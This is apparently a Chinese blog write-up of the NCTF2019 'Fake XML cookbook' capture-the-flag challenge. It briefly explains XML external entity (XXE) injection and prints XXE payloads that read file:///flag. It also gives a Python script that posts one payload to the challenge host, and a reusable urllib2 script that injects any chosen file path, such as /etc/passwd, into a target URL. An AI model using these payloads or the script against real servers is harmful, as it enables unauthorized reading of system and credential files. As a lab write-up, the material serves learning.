zoukankan      html  css  js  c++  java
  • [NCTF2019]Fake XML cookbook

    0x00 知识点

    XXE攻击
    附上链接:

    https://xz.aliyun.com/t/6887

    XXE(XML External Entity Injection)全称为XML外部实体注入
    XML可能存在的漏洞:
    XML注入和XPath注入XML 外部实体注入

    什么是 XML?
    XML 指可扩展标记语言(EXtensible Markup Language)。
    XML 的设计宗旨是传输数据,而不是显示数据。
    XML 是 W3C 的推荐标准。
    XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。
    XML 语言没有预定义的标签

    0x01 解题

    这是一道最简单的XXE
    查看源码

    用XML和服务器通讯,联想到XXE攻击
    实际上看页面也懂了,这是XXE-LAB
    payload:

    <!DOCTYPE ANY [
        <!ENTITY test SYSTEM "file:///flag">
    ]>
    <user><username>&test;</username><password>123</password></user>
    
    import requests
    url = "http://0c1959cb-aa7d-465c-9174-124b5eed19fb.node3.buuoj.cn/"
    
    payload = '''<?xml version = "1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY foo SYSTEM "file:///flag">]>
    <user><username>&foo;</username><password>0</password></user>
    '''
    
    r = requests.post(url,data=payload,headers={'Content-Type':'text/xml'})
    print r.text
    

    都没弹出来flag..
    不过学习了XML有收获233


    最后附上一个脚本:

    #!/usr/bin/python
    # -*- coding:utf-8 -*-
    
    import urllib2
    
    if __name__ == '__main__':
    
        print u'输入要访问的地址,如http://127.0.0.1/xml/xxe2.php'
        url = raw_input()
        count=1
        while count==1:
            print u'输入要读取的文件,如file:///etc/passwd'
            payload = raw_input()
            headers = {'Content-type': 'text/xml'}
            xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
            req = urllib2.Request(url = url,headers = headers, data = xml)
            res_data = urllib2.urlopen(req)
            res = res_data.read()
            print res
    

    运行如下:

  • 相关阅读:
    站点设计
    站点规划
    自动登录百度网盘
    windows下配置Python虚拟环境
    拖拽效果
    jQuery 基础
    js操作BOM
    js操作DOM
    selenium+js自动连接Magic_WiFi
    弹框
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12323562.html
Copyright © 2011-2022 走看看